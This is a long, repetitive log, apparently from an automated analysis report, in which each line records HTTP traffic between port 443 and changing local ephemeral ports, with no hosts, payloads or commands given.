Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 50165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50246 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 50142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50178 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 50166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 50143 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50218
Source: unknown	Network traffic detected: HTTP traffic on port 50174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50139 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50331
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50333
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50332
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50213
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50334
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 50243 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50237
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50213 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50248
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 50150 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50243
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50245
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50244
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50246
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50306 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50244 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50184 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50306
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50152 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50245 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50185 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50174
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50295
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50177
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50179
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50178
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50180
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50182
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50181
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50184
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50183
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50185
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 50331 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 50183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50192
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50147 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 50332 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50139
Source: unknown	Network traffic detected: HTTP traffic on port 50170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50138
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50149 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50130
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50133
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50132
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50135
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50134
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50136
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50140
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50149
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50142
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50141
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50143
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
